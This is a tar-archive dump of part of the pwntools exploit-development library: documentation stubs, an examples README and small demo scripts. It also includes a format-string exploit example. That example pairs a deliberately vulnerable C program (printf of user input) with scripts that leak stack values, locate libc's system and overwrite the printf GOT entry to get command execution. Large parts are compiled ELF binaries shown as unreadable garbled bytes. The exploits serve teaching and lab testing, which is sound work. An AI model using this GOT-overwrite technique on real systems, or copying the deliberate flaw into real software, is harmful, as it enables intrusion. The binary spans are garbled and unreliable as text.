pwnlib.util.cyclic :members: Gallopsled-pwntools-3ad86ec/docs/source/util/fiddling.rst000066400000000000000000000003621507273764500237220ustar00rootroot00000000000000.. testsetup:: * from pwn import * from pwnlib.util.fiddling import * :mod:`pwnlib.util.fiddling` --- Utilities bit fiddling ====================================================== .. automodule:: pwnlib.util.fiddling :members: Gallopsled-pwntools-3ad86ec/docs/source/util/getdents.rst000066400000000000000000000004251507273764500237570ustar00rootroot00000000000000.. testsetup:: * from pwnlib.util.getdents import * from pwnlib.util.fiddling import unhex :mod:`pwnlib.util.getdents` --- Linux binary directory listing ============================================================== .. automodule:: pwnlib.util.getdents :members: Gallopsled-pwntools-3ad86ec/docs/source/util/hashes.rst000066400000000000000000000002211507273764500234070ustar00rootroot00000000000000:mod:`pwnlib.util.hashes` --- Hashing functions =============================================== .. automodule:: pwnlib.util.hashes :members: Gallopsled-pwntools-3ad86ec/docs/source/util/iters.rst000066400000000000000000000047221507273764500232740ustar00rootroot00000000000000.. testsetup:: * import string, operator from pwnlib.util.iters import * :mod:`pwnlib.util.iters` --- Extension of standard module :mod:`itertools` ========================================================================== .. automodule:: pwnlib.util.iters :members: :exclude-members: chain , combinations , combinations_with_replacement , compress , count , cycle , dropwhile , filter , filterfalse , groupby , islice , map , permutations , product , repeat , starmap , takewhile , tee , zip , zip_longest .. function:: chain Alias for :func:`itertools.chain`. .. function:: combinations Alias for :func:`itertools.combinations` .. function:: combinations_with_replacement Alias for :func:`itertools.combinations_with_replacement` .. function:: compress Alias for :func:`itertools.compress` .. function:: count Alias for :func:`itertools.count` .. function:: cycle Alias for :func:`itertools.cycle` .. function:: dropwhile Alias for :func:`itertools.dropwhile` .. function:: groupby Alias for :func:`itertools.groupby` .. function:: filter Alias for python3-style :func:`filter` .. function:: filterfalse Alias for :func:`itertools.filterfalse` .. function:: map Alias for python3-style :func:`map` .. function:: islice Alias for :func:`itertools.islice` .. function:: zip Alias for python3-style :func:`zip` .. function:: zip_longest Alias for :func:`itertools.zip_longest` .. function:: permutations Alias for :func:`itertools.permutations` .. function:: product Alias for :func:`itertools.product` .. function:: repeat Alias for :func:`itertools.repeat` .. function:: starmap Alias for :func:`itertools.starmap` .. function:: takewhile Alias for :func:`itertools.takewhile` .. function:: tee Alias for :func:`itertools.tee` Gallopsled-pwntools-3ad86ec/docs/source/util/lists.rst000066400000000000000000000003101507273764500232710ustar00rootroot00000000000000.. testsetup:: * from pwnlib.util.lists import * :mod:`pwnlib.util.lists` --- Operations on lists ================================================ .. automodule:: pwnlib.util.lists :members: Gallopsled-pwntools-3ad86ec/docs/source/util/misc.rst000066400000000000000000000004321507273764500230730ustar00rootroot00000000000000.. testsetup:: * from pprint import pprint from pwnlib.util.misc import * import os, subprocess :mod:`pwnlib.util.misc` --- We could not fit it any other place =============================================================== .. automodule:: pwnlib.util.misc :members: Gallopsled-pwntools-3ad86ec/docs/source/util/net.rst000066400000000000000000000003071507273764500227270ustar00rootroot00000000000000.. testsetup:: * from pwnlib.util.net import * :mod:`pwnlib.util.net` --- Networking interfaces =================================================== .. automodule:: pwnlib.util.net :members: Gallopsled-pwntools-3ad86ec/docs/source/util/packing.rst000066400000000000000000000003531507273764500235560ustar00rootroot00000000000000.. testsetup:: * from pwnlib.util.packing import * :mod:`pwnlib.util.packing` --- Packing and unpacking of strings =============================================================== .. automodule:: pwnlib.util.packing :members: Gallopsled-pwntools-3ad86ec/docs/source/util/proc.rst000066400000000000000000000004131507273764500231020ustar00rootroot00000000000000.. testsetup:: * from pwnlib.util.proc import * from pwnlib.tubes.process import process import os, sys :mod:`pwnlib.util.proc` --- Working with ``/proc/`` =================================================== .. automodule:: pwnlib.util.proc :members: Gallopsled-pwntools-3ad86ec/docs/source/util/safeeval.rst000066400000000000000000000004371507273764500237330ustar00rootroot00000000000000.. testsetup:: * from pwnlib.util.safeeval import * _get_opcodes = pwnlib.util.safeeval._get_opcodes :mod:`pwnlib.util.safeeval` --- Safe evaluation of python code ============================================================== .. automodule:: pwnlib.util.safeeval :members: Gallopsled-pwntools-3ad86ec/docs/source/util/sh_string.rst000066400000000000000000000003721507273764500241430ustar00rootroot00000000000000.. testsetup:: * from pwn import * test = pwnlib.util.sh_string.test :mod:`pwnlib.util.sh_string` --- Shell Expansion is Hard =============================================================== .. automodule:: pwnlib.util.sh_string :members: Gallopsled-pwntools-3ad86ec/docs/source/util/web.rst000066400000000000000000000004301507273764500227130ustar00rootroot00000000000000.. testsetup:: * import tempfile from pwnlib.context import context from pwnlib.util.web import * :mod:`pwnlib.util.web` --- Utilities for working with the WWW ============================================================= .. automodule:: pwnlib.util.web :members: Gallopsled-pwntools-3ad86ec/docs/source/windbg.rst000066400000000000000000000002661507273764500224420ustar00rootroot00000000000000.. testsetup:: * from pwn import * :mod:`pwnlib.windbg` --- Working with WinDbg ============================================ .. automodule:: pwnlib.windbg :members:Gallopsled-pwntools-3ad86ec/examples/000077500000000000000000000000001507273764500200205ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/examples/README.md000066400000000000000000000054501507273764500213030ustar00rootroot00000000000000# Examples While these examples should all work, they are not very representative of the pwntools project. We have a plan to create a separate repository with examples, primarily exploits. Until we do so, we recommend new users to look at https://docs.pwntools.com, as this is a better overview of our features. In no particular order the docstrings for each example: * `args.py` ``` When not in lib-mode (import `pwn` rather than `pwnlib`) we parse the commandline for variables definitions. A variable definition has the form:: = where ```` contains only uppercase letters, digits and underscores and doesn't start with a digit. Try running this example with:: $ python args.py RHOST=localhost RPORT=1337 ``` * `asm.py` ``` Example showing the interface to `pwnlib.asm.asm` and `pwnlib.shellcraft`. ``` * `attach.py` ``` Example showing `pwnlib.gdb.attach()` ``` * `clean_and_log.py` ``` Use case for `pwnlib.tubes.tube.clean_and_log`. Sometimes you will have a solution to a challenge but you don't know what it will look like when you get the flag. Sometimes that will leave you with a top-level exception, no flag, and angry team members. Solution: 1. Always run wireshark or tcpdump. Always. 2. Register .clean or .clean_and_log to run at exit. ``` * `indented.py` ``` When running in term-mode (import `pwn` rather than `pwnlib`, stdout is a TTY and not running in a REPL), we can do proper indentation where lines too long to fit on a screen are split into multiple individually indented lines. Too see the difference try running with:: $ python indented.py and $ python -i indented.py Also notice that `pause()` can react on any key when in `term_mode`. ``` * `listen_uroboros.py` ``` An example showing interconnection of sockets. This script will wait for three connections on port 1337, then connect them like a three-way Uroboros. ``` * `options.py` ``` Example showing `pwnlib.ui.options()` ``` * `port_forward.py` ``` A very simple port forwarder using `pwnlib.tubes.tube.connect_both()`. ``` * `readline_completers.py` ``` Example showing pwnlib's readline implementation and a few completers. This part of pwnlib will probably see some major changes soon, but we wanted to show off some proof-of-concepts. ``` * `remote.py` ``` Example showing how to use the remote class. ``` * `remote_gdb_debugging.py` ``` Simple example showing how to use the remote gdb debugging features available in pwntools. ``` * `spinners.py` ``` Just a lot of spinners! ``` * `splash.py` ``` "Easteregg" ``` * `ssh.py` ``` Example showing how to use the ssh class. ``` * `text.py` ``` Example showing how to use `pwnlib.term.text`. Try running with:: $ TERM=xterm python text.py and:: $ TERM=xterm-256color python text.py ``` * `yesno.py` ``` Example showing `pwnlib.ui.yesno()` ``` Gallopsled-pwntools-3ad86ec/examples/android.py000066400000000000000000000011011507273764500220030ustar00rootroot00000000000000from __future__ import print_function import gdb from pwn import adb, context # Tell pwntools that the target is an Android device context.os = "android" context.arch = "aarch64" # or 'arm' # Optionally, set the remote ADB server address context.adb_host = "172.16.110.1" # Wait for a device to become available print(adb.wait_for_device()) # Who am I? print(adb.process("id").recvall().strip()) # Interactive sessions! io = adb.shell() io.sendline("echo Hello, world; exit") print(io.recvall().replace("\r\n", "\n").strip()) # Debugging! gdb.debug("sh").interactive() Gallopsled-pwntools-3ad86ec/examples/args.py000066400000000000000000000007151507273764500213310ustar00rootroot00000000000000""" When not in lib-mode (import `pwn` rather than `pwnlib`) we parse the commandline for variables definitions. A variable definition has the form:: = where ```` contains only uppercase letters, digits and underscores and doesn't start with a digit. Try running this example with:: $ python args.py RHOST=localhost RPORT=1337 """ from pwn import * print(args['RHOST'] or 'RHOST is not set') print(args['RPORT'] or 'RPORT is not set') Gallopsled-pwntools-3ad86ec/examples/asm.py000066400000000000000000000004111507273764500211460ustar00rootroot00000000000000""" Example showing the interface to `pwnlib.asm.asm` and `pwnlib.shellcraft`. """ from pwn import * context(arch='i386', os='linux') shellcode = shellcraft.i386_to_amd64() shellcode_asm = asm(shellcode) print(enhex(shellcode_asm)) print(disasm(shellcode_asm)) Gallopsled-pwntools-3ad86ec/examples/attach.py000066400000000000000000000002571507273764500216420ustar00rootroot00000000000000""" Example showing `pwnlib.gdb.attach()` """ from pwn import * bash = process('/bin/bash') gdb.attach(bash, gdbscript = ''' p "hello from pwnlib" c ''') bash.interactive() Gallopsled-pwntools-3ad86ec/examples/clean_and_log.py000066400000000000000000000017611507273764500231440ustar00rootroot00000000000000""" Use case for `pwnlib.tubes.tube.clean_and_log`. Sometimes you will have a solution to a challenge but you don't know what it will look like when you get the flag. Sometimes that will leave you with a top-level exception, no flag, and angry team members. Solution: 1. Always run wireshark or tcpdump. Always. 2. Register .clean or .clean_and_log to run at exit. """ from pwn import * from multiprocessing import Process def submit_data(): with context.quiet: with listen(1337) as io: io.wait_for_connection() io.sendline(b'prefix sometext') io.sendline(b'prefix someothertext') io.sendline(b'here comes the flag') io.sendline(b'LostInTheInterTubes') if __name__ == '__main__': p = Process(target=submit_data) p.start() r = remote('localhost', 1337) atexit.register(r.clean_and_log) while True: line = r.recvline() print(re.findall(br'^prefix (\S+)$', line)[0]) Gallopsled-pwntools-3ad86ec/examples/fmtstr/000077500000000000000000000000001507273764500213375ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/examples/fmtstr/Makefile000066400000000000000000000030161507273764500227770ustar00rootroot00000000000000CFLAGS := -Wno-unused-result -Wno-format-security TARGETS := printf.mips printf.mips64 printf.mipsel printf.mips64el printf.arm printf.aarch64 \ printf.ppc printf.ppc64 printf.sparc64 printf.native printf.native32 \ printf-loop.native printf-loop.native32 .PHONY: run run: all ./exploit2.py ./exploit.py .PHONY: all all: $(TARGETS) .PHONY: clean clean: rm -f $(TARGETS) # mips variants %.mips: %.c mips-linux-gnu-gcc $(CFLAGS) -static -Os -o "$@" $^ %.mipsel: %.c mipsel-linux-gnu-gcc $(CFLAGS) -static -Os -o "$@" $^ %.mips64: %.c mips64-linux-gnuabi64-gcc $(CFLAGS) -static -Os -o "$@" $^ %.mips64el: %.c mips64el-linux-gnuabi64-gcc $(CFLAGS) -static -Os -o "$@" $^ # arm variants %.arm: %.c arm-linux-gnueabi-gcc $(CFLAGS) -static -Os -o "$@" $^ %.aarch64: %.c aarch64-linux-gnu-gcc $(CFLAGS) -static -Os -o "$@" $^ # ppc variants %.ppc: %.c powerpc-linux-gnu-gcc $(CFLAGS) -static -Os -o "$@" $^ %.ppc64: %.c powerpc64-linux-gnu-gcc $(CFLAGS) -static -Os -o "$@" $^ # sparc variants %.sparc64: %.c sparc64-linux-gnu-gcc $(CFLAGS) -static -Os -o "$@" $^ # native variants %.native: %.c gcc $(CFLAGS) -o "$@" $^ %.native32: %.c gcc $(CFLAGS) -m32 -o "$@" $^ # install deps on ubuntu xenial .PHONY: install-apt install-apt: apt-get install -y make gcc-mips64el-linux-gnuabi64 gcc-sparc64-linux-gnu gcc-powerpc64-linux-gnu gcc-powerpc-linux-gnu gcc-arm-linux-gnueabi gcc-aarch64-linux-gnu gcc-mips64-linux-gnuabi64 gcc-mipsel-linux-gnu gcc-mips64el-linux-gnuabi64 gcc-mips-linux-gnu gcc-i686-linux-gnu gcc Gallopsled-pwntools-3ad86ec/examples/fmtstr/exploit.py000077500000000000000000000015301507273764500233770ustar00rootroot00000000000000#!/usr/bin/env python from pwn import * @context.quiet def exec_fmt(payload): p = context.binary.process() p.sendline(payload) return p.recvall() def exploit(binary): context.binary = ELF(binary) autofmt = FmtStr(exec_fmt) offset = autofmt.offset with context.binary.process() as p: addr = unpack(p.recv(context.bytes)) payload = fmtstr_payload(offset, {addr: p32(0x1337babe)}) p.sendline(payload) p.recvuntil(b"DONE") print(hex(u32(p.recv(4)))) binaries = [ "printf.mips", "printf.mips64", "printf.mipsel", "printf.mips64el", "printf.native", "printf.native32", "printf.ppc", "printf.ppc64", "printf.sparc64", "printf.arm", "printf.aarch64", ] if len(sys.argv) > 1: binaries = sys.argv[1:] for binary in binaries: exploit(binary) Gallopsled-pwntools-3ad86ec/examples/fmtstr/exploit2.py000077500000000000000000000036231507273764500234660ustar00rootroot00000000000000#!/usr/bin/env python """ An example combining fmtstr and dynelf to automatically exploit a PIE binary. """ from pwn import * def exploit(e): p = e.process() def executer(fmt): p.sendline(fmt) p.stdin.flush() r = p.recvuntil(b'again=\n') return r f = FmtStr(executer) # find some code pointer on stack addrbits = min(context.bits, 48) # address space is no larger than 48-bit min_code_ptr = 0x10 << addrbits-8 max_code_ptr = 0x7e << addrbits-8 for off in range(64): random_code_ptr = f.leak_stack(off) packed = bytearray(pack(random_code_ptr)) chars = set(packed) - {0} # simple heuristic if (min_code_ptr < random_code_ptr < max_code_ptr and max(chars) > 0x80 and min(chars) < 0x80 and not hex(random_code_ptr).startswith('0x7ff')): break log.info("Code ptr: %#x"%random_code_ptr) online_elf = DynELF(f.leaker, pointer=random_code_ptr, elf=e, libcdb=False) print("Stack: %#x" % (online_elf.stack(),)) print("Heap: %#x" % (online_elf.heap(),)) info("Finding base address of the executable") for ref in e.sym: if not ref: continue # if we have the address of a symbol on remote, we know the offset ref_addr = online_elf.lookup(ref) if ref_addr: print("%s: %r" % (ref, ref_addr)) break system = online_elf.lookup('system', 'libc') print("system: %#x" % system) # fix up the address e.address += ref_addr - e.sym[ref] # actual exploit: overwrite printf with system f.write(e.sym.got.printf, system) f.execute_writes() p.sendline(b'echo ::$(( 16 * 16 ))') p.recvuntil(b'::') line = p.recvline() assert line == b'256\n' p.sendline(b'exit') p.close() for context.binary in 'printf-loop.native32', 'printf-loop.native': exploit(context.binary) Gallopsled-pwntools-3ad86ec/examples/fmtstr/printf-loop.c000066400000000000000000000003651507273764500237600ustar00rootroot00000000000000#include #include int main() { while (1) { char str[256]; int n = read(STDIN_FILENO, str, sizeof(str) - 1); str[n] = '\0'; printf(str); printf("\n=try again=\n"); fflush(stdout); } return 0; } Gallopsled-pwntools-3ad86ec/examples/fmtstr/printf-loop.native000077500000000000000000000447401507273764500250340ustar00rootroot00000000000000ELF>@ A@8 @#"@@@hh((MM XX-==`p-== Ptd   <<QtdRtd-==/lib64/ld-linux-x86-64.so.2GNU  (emW 9s  #H@*"libc.so.6fflushputsprintfreadstdout__cxa_finalize__libc_start_mainGLIBC_2.2.5_ITM_deregisterTMCloneTable__gmon_start___ITM_registerTMCloneTableui K=`= @@@@????? H@ @ @(@0@HH/HtH5/%/@%/h%/h%/h%/h%/f1I^HHPTLH CH=6/DH=/H/H9tH/Ht H=a/H5Z/H)HH?HHHtH.HtfD=)/u/UH=.Ht H=/-h/]{UHH dH%(HE1HHƿHƄHHǸ~H=;bHs.H렐AWL=+AVIAUIATAUH-+SL)HHt1LLDAHH9uH[]A\A]A^A_@HH =try again=;8 \lTQ,,zRx +zRx $PFJ w?;*3$"D\zAC D|\BIE E(D0H8G@i8A0A(B BBB`   D==o @` ooooo=6FVf@@GCC: (Gentoo 9.2.0-r2 p3) 9.2.0,a |(a!E4intllr L  (a *a ,a .a i0 1 _@C\CLC#XRdC0V@  iW484%U|T}Q~ 7 % $ > : ; 9 I&I$ > I! I ' I 4: ; 9 I?< ' .?: ; 9 '@B.?: ; 9 '@B: ; 9 IB4: ; 9 IB 4: ; 9 IBB1.?<n: ; 9 \ /usr/lib/gcc/x86_64-pc-linux-gnu/9.2.0/includeelf-init.cstddef.h q(.nt(nt( n<J[J.Y !<Xf...._ long long int__init_array_startsize_t/var/tmp/portage/sys-libs/glibc-2.30-r8/work/glibc-2.30/csuenvp__fini_array_startelf-init.clong unsigned int__libc_csu_finiGNU C11 9.2.0 -m64 -march=haswell -ggdb -ggdb -O2 -O2 -std=gnu11 -fgnu89-inline -fmerge-all-constants -frounding-math -fstack-protector-strong -fmath-errno -fno-stack-protector -fPIC -fstack-protector-strong -ftls-model=initial-exec__fini_array_endchar__preinit_array_startargcsize__libc_csu_initargvlong double__preinit_array_end__init_array_end,U,U\U\U,T,W]W\T,Q,Y^Y\Q-1v3&1SV-505MS    p D  P ===?@8@H@=+=4=G Z@P p @ H@ 8@H@zD8@ *@@7 F \V&X@ +jH@v ez{H@ "printf-loop.celf-init.c__init_array_end_DYNAMIC__init_array_start__GNU_EH_FRAME_HDR_GLOBAL_OFFSET_TABLE___libc_csu_fini_ITM_deregisterTMCloneTablestdout@@GLIBC_2.2.5puts@@GLIBC_2.2.5_edataprintf@@GLIBC_2.2.5read@@GLIBC_2.2.5__libc_start_main@@GLIBC_2.2.5__data_start__gmon_start____dso_handle_IO_stdin_used__libc_csu_initfflush@@GLIBC_2.2.5__bss_startmain__TMC_END___ITM_registerTMCloneTable__cxa_finalize@@GLIBC_2.2.5.symtab.strtab.shstrtab.interp.note.ABI-tag.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.plt.got.text.fini.rodata.eh_frame_hdr.eh_frame.init_array.fini_array.dynamic.got.plt.data.bss.comment.debug_aranges.debug_info.debug_abbrev.debug_line.debug_str.debug_loc# 1o(; CKoXo gqB`{v  PppDD    <P P =-=-=-?/(@088@80H@H00H0 h000s213)0446o 8!)  >??Gallopsled-pwntools-3ad86ec/examples/fmtstr/printf-loop.native32000077500000000000000000000415141507273764500251750ustar00rootroot00000000000000ELF4=4 (#"444`` xx.>>8<.>> Ptd   DDQtdRtd.>>/lib/ld-linux.so.2GNU  K-p &9"! H2  libc.so.6_IO_stdin_usedfflushputsprintfreadstdout__cxa_finalize__libc_start_mainGLIBC_2.1.3GLIBC_2.0_ITM_deregisterTMCloneTable__gmon_start___ITM_registerTMCloneTablesi Zii f>>?$@???? ? @@@@@S/tЃ[ hhhhh f1^PTR"`/P`PQV$fffff$ffffff/((9ttUQЃÍt&Í&.US(()ȉtt PQ҃]Í&fUSWÇ.(u't $5ƃ(]Í&f[$ÍL$qUSQ.eE1hPj& P  P PfU[Ś-WVS |$()t#1Wt$,t$,F9u [^_]Ít&Ë,$S/-[ =try again=;@hx\H4HzR| 6zR|  x`F J tx?;*2$"@$TD GuDuxu|H|X[AL AAC i$A(D,D0K GAA AAlYp  >>o @(Hooxoo^o>6FVfv$@GCC: (Gentoo 9.2.0-r2 p3) 9.2.0`a W`aint=, bkkq %  (` *` ,` .` D0 |1 l_C`[C%C#?C0V8(|iW,*&}7 % $ > : ; 9 I&I$ > I! I ' I 4: ; 9 I?< ' .?: ; 9 '@B.?: ; 9 '@B: ; 9 I4: ; 9 IB 4: ; 9 IB1.?<n: ; 9 \ /usr/lib/gcc/x86_64-pc-linux-gnu/9.2.0/includeelf-init.cstddef.h`q q.J[(<. -! tJ<m GNU C11 9.2.0 -m32 -march=haswell -ggdb -ggdb -O2 -O2 -std=gnu11 -fgnu89-inline -fmerge-all-constants -frounding-math -fstack-protector-strong -fmath-errno -fno-stack-protector -fPIC -fstack-protector-strong -ftls-model=initial-exec__init_array_startsize_t/var/tmp/portage/sys-libs/glibc-2.30-r8/work/glibc-2.30/csuenvp__fini_array_startelf-init.c_Float128__libc_csu_fini__fini_array_endchar__preinit_array_startlong long intargcsize__libc_csu_initargvlong double__preinit_array_endunsigned int__init_array_end+.s2&.WS+202SV^x       \ >>>?@ @(@>+>4>G Z@ p   7 @  (@z "5 @BR a$@n }`[ &,@;6  (@ (@ printf-loop.celf-init.c__init_array_end_DYNAMIC__init_array_start__GNU_EH_FRAME_HDR_GLOBAL_OFFSET_TABLE___libc_csu_finiread@@GLIBC_2.0_ITM_deregisterTMCloneTable__x86.get_pc_thunk.bxprintf@@GLIBC_2.0fflush@@GLIBC_2.0__x86.get_pc_thunk.bp_edata__x86.get_pc_thunk.dx__cxa_finalize@@GLIBC_2.1.3__data_startputs@@GLIBC_2.0__gmon_start____dso_handle_IO_stdin_used__libc_start_main@@GLIBC_2.0__libc_csu_init_fp_hwstdout@@GLIBC_2.0__bss_startmain__TMC_END___ITM_registerTMCloneTable.symtab.strtab.shstrtab.interp.note.ABI-tag.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rel.dyn.rel.plt.init.plt.got.text.fini.rodata.eh_frame_hdr.eh_frame.init_array.fini_array.dynamic.got.plt.data.bss.comment.debug_aranges.debug_info.debug_abbrev.debug_line.debug_str.debug_loc# 1o ; CKo^^Xoxx0g Hp B(y t  `5   D\ \ >.>.>.?/@0  @ 0(@(00(0 H0 h0 13'0326I\6@!) :<=Gallopsled-pwntools-3ad86ec/examples/fmtstr/printf.aarch64000077500000000000000000022636201507273764500240310ustar00rootroot00000000000000ELF@@_ @8@@@ssHH @6@@DDHH `QtdRtdHHGNUGNUn۴j"Gѣ/$HcAHfAHdA{v{_p@ p@" p @B _{!`=@RVR2^dCIRCRbR{Ss`G@ "Ҡ "ҏc!"`T  RsGBa@Aʡh@!(R!(rҴ RC`4@Rr R!@7`@ R3`R{@SA_@#VvB`G@ _``(a!`(?T!BA _ ``(a!`(!!C!A!ABBB@_{ s`bh9@5B=s R`b(9 @{¨_C@{a!(=Yr{{S[CoRck@qo@d3@b Fx `D@i"tGC_@aTlDBhҡRi?@ҡTBRiC@9#|!hyrR4!TuWX68Ձ" X;ՠ 7 R @Й6 CC  @@  T @b WB ?T`ab4G!E@x@! 4C@ a`!4G!@o@3@BDBl`N@4o@3@BDB`?g#x 5C;Հcѥ#DB3@d@ec|@o@/@`?l@y_q Tc R!`@p@yd@ tu  C_"Q|5?qT f$98 @T|R:l7!@O5 @߀RarkT Q$N$?kT{S**!Rt_1TSA{˨_`GA; h`$qT"@qTu R*l^kT*R^5C@ @qT+@T} }  @{!RRR R{R@R{atGS[cks5B"GA}! T"T@_qaT@@@LB_C9h TaB Ҡ;?Ҡ7T? ښ~ ;Ҡ?v!@^a;@A(?@ҼE |(Xe@)`U!"A _ ҫ(ShY\"s ۚ@cC<kDsR|7@SA[BsE{Ȩ_a7?@Ѡ;;Ҵ?A;@!@!@ _{Stcb(xc([*CT{s*s`?֟!Ttx(c(Ct {s*s`?֟!TSA[BcC{Ĩ_ {`(t(C  рzss?T @@{¨Dve({CSC@/[#* R a`;!G "@9_q3*C7+@! 0l`LCg`O@@CRbR! K! ҡO!|@``T+@O@DPa!> _3|5+@Kg! B@R]a@`{S[*ТR!@`**R6{S`@q T-TqT qT`@s s@`@q!T`@@SA{è_`@`@<q T8qATt` @ 5`@ 4qTt@,qTT$qT􇟚(qT@SA{è_t4` @`@ qTTq@TT qTq!Tu ՚Ri ՚qTqT0q`T4q T~'uRO ՚7 {S@a@AaO5a@@O5a @ @O5a @ @KSA{¨_a@@ {[\@SRb@T sR@TmU_TSA[B{è_{e(@WS[ck@s_qwT< @3@+@P[@~@3@AQk@qZ`XzVKxK Za4 7QkT@}Ӂ@) h`4@Z?kT @@Z!?>O@?@ 4@ A k:qXz Z5`(W@@AASA[BcCkDsE{˨_K'@|( h`)T@?O@?@ 5*GG@ T@`}ӂ@#@5h``@" 4Z Zsw@ 43@ @V  D` Օ?@ ;@}`ZZc @@N 5D` @T @&@&Tx{  @.@?kT @@*G@Tx_T@@@qAӡ!@$Z!NqTCTBG@zˀ+@Z|hz3@w@@57@usB z@9@4 @V`GA; h`@X@D D` ՀWG? Z`G@Zcу @@c|N5  !~`@9a5@9 @Z9 R@z@9!R_b5|5_q"T@9RB@  ?T\46@_S!K!lS4|@4I "  @"OI! @CcB/jxrTqTK5G`"@<R @!WIZ9R@_|_5?qT!"H ?@ZW} |I;ObWbRVk B;3@{T !`!^Q  !!N| |c S9q!c @95 @9|c "4gHB*@8yg'85T?9_q!"@95!"@9!!|c!4gHB*"@8ygg85T9"#Rh 5?@ ?wz@9!R_b5|5_qaT @@ @9R|_5?qlT @!"H  @"GxOG!@9 D CZ9O@ @g}@EBdB˄ I@c B}y;C|_5_qLT @hg@9R|_5?qmT6C@Ҁ I db1TD` pH Rb9cR"9!gb9c~` Dbs"9J"ȩ!(b""Sb!"H Ժh{cw(S@[ksS[o*0q*FzT@q[@A@TS@(@@Aa3SA[BcCkDsE{Ө_a!GB; `DAhaa` W Հ9 *w?W@9 ՠW@9w^OD`` ՠO@@a!HN@_k@T` G+Ts@abLq!Tz@@@9q TZ !!c*G7o@B@;9*Uy8a!L5N7N|c ˀ;cQRxQR rM||c @"g`;K Հ@9qT 5`Rya!ZL4g@VL 4c@#Ra To@sGDW@9 `  աH@h!7a*Ww@?``РW`@*w3?`DQ 8@8q@zTK@?9@@4RK@Ҵ3@ #RxT* @o@g GO@g@ O@bСs@BHN@H@h!@5DW@g9 `  դg@Zc"<Zc"8@@a5D@W@g9 `  դg@H@h!"@9?q*Ҹ@@[@@3@C @[@s@,M?@(M;@.Eg@7@P*KbФg@ DBHNs@ W@9 դg@W@g9\g@D դg@`@ TgFg@t`{S[U`D(@Gck?v`"< Ls"<R@ gD` ` @q T` @(G@@A {BSC[DcEkF?@_`@ t@@@@@?q,T\X+ @LD*1`ThD`"< vL F!RGsC@"<*^ gD` 3` @qT` @`{Ez7+@C@E+@`@t@@@@?q,T +0`{+{b#=#Y#(d@SU;C@@T RA_a5@|5?q'T`#=t#= @@!5@ R7W*1AT@@ R {#=!Qa4'(@@ `9SA@@#@+@{٨_`_a5qT!"H *#RV5@*T'Ҽ/*CR"RҪZ`$T*{X@[RrR_k@»rqD@z!-T RC@@[Rr _k@  T|?q TSB)A)* qZT@2j<4[Rr_k'@&TZ4C) ZZ@ҕF`@4Q $%#[Ro}$kA$1$$a$$#Ҡgr $c ՠ_ k@`TjcZ!Z!"4!QHa8!5@9?@qT?$qHT@9qai#c !T@[Rr_kE)#T!ZZ[@[@~~"QҶ  @ H"sW g[Rr_kT@@Zg@ @1`5x4@@@c@ c_@!T@G@Ig@s@5B D~lD bRB;T\ `#=@@@'@/@Ts@j`qT@'@/@*W`#=@@p^Z|?q(TA)SB)cZZ!Z Z* qZT@!Z$2<j 5BpD` @cD@4Y\D`#= B`@Gs*4VMTZT*GW@[RrR_k@»rqD@zT7D4Djc(@@9?HqT@9_$qaT @9_q_q_q_qL_q_`q@zT@9q` Tq Tq+T@9?q(T4C)'@2JY@@@'@/@Og@Is@ C4<Z@Z1TkTZ`FJ#[Rr_k@T@['/$^@9qT@9@ 5_q"T?5?5,@5c@qa!@:!@95_q@ TEA5@5@5c@qa!@:!c@xSs P Bs@`o@ҳ R *|| a_%K@s@RJ:494xtZ@?1 54_@~| R gs@* *cv 44W@c@xt!Z@Uka ZU@?1@ T ZW54@I@kT@k_@GH2TZ@j@2@!x`D4!Zx _kTk Ҡ@*k T@@YZ@@EQ!GKK  k! !* z` 5*@ aZa @_q#Za?1T"+4xt@?1A4"R~*4W@c@xt@UkaU@?1@T*W;W@)v4Z Z51TO@#Xu7WI7@se*s^@;@`ˀt[@g@xt!Z@Uka ZUeBs@k@&*2j @@@95_q`#T#5"5L"5c@qA!@:!ҿҽqAT@9?q`TҴ@9 5_qT5255qҨ2qaT@9?q`Tҙ@9?qTҔqaT@9?q`Tҍ@9?LqT҈6qaT@9?q`Tҁ@9?`qT|BqaT@9?Pq`Tu@9?HqTpn@95_q`T55l5qd@9?PqT_@95_qT%55,5qUS @9?q@T?q`T?qT?qTHF$@9?qTA$@9?qT<(@95_q T5r55q2(@9`5_qT5255q(&$" $@9?qT$@95_qT%55,5c@qA!@:!(@9`5_qT5255qg@o@o@xt5g@xtS@7R@A[@g@xt@UkaUg@o@g@o@@9?Lq`Tҫ @9?Pq`TҦ$@9?q T?qT?qT?qTқ(@95_q T5255c@qA!@:!(@9?qT҉g@,@95_q T5r5 5q}o@{ywusqomk(@9?qTf(@9?qTa,@9`5_qT5255c@qA!@:!T,@95_q@T55,5c@qA!@:!Gg@Eg@Co@A?=;o@9753@B!@B`K  "|@CAc|$({@S[cksc# KB@%! %D@B`@db`h@@"2 7@GU;vb= 2RUAREB9@"hbxh6 `@8"hbxo7q@z!TZ@'6MX@(A@A{@SA[BcCkDsE _AR[E2R$b@9c@ h`x4 5b@8@ h`xb5@4 @8"hbxo74 @9"5 @@84#hcxo6(q T@R@y@w TFOFABO@I@(iTA?! %O@`F멫G@d|ӦHO@TB` `@9y9"hbxo74 @d|# { HK@;@h$ O@?@ `ra`!Gc @%oȀҜ w @@ _9{+@!@k++_k+Tҳ NzZ {[ub=Sck !R_b5|5_qa Tb= @ GSsbb=@R@9 4 ՁqaT "@8_qT4C@8qd@zAT?T!R@9@55Ҡb=R|_5?qTSA[BcCkD{Ũ_!R!KGW`@@TITA|:!kaJJqjTD@`" Y!"H SA[BcCkD{Ũ_֠b={S*[sckU;E6WEkҔ6C@Eg6?@Ec6K@EO@E="/VEc ZR Tz9{Ec !TRC8iIs5k@!5g@5c@5R9O@ҾG@@7 b@DqTT{@@ 4AUR!  ! `fR" ` R 3R  ,H `"|| E {s!T`=oE sZ!T RT`  @` YE s!T K 74*7jTQ1TO@b!%E`5T74*%7Rj TQ1Ts/@{3;@{BSC[DcEkF_ր  q` WER9K@HlR9?@HcR9C@HZ R9;@HQ>/@| ա7@_bTD7@ZBATDK@#GH*O@s!R7@`G@{K@*O@bҥGC@yG@a`{!<*u\*pҋZ>/@ {[VbS!S4@%Rb@9cDQBbjbx6(q0?T5<b:@xe8BTjb8QfzexW7?$qT9BTSA[B9{è_<SA[B{è_b"mR r34@4x<!mR r4{S[c_ @9x|q$@zTqTR @9?|q$@z`T?q$FzTTR?q 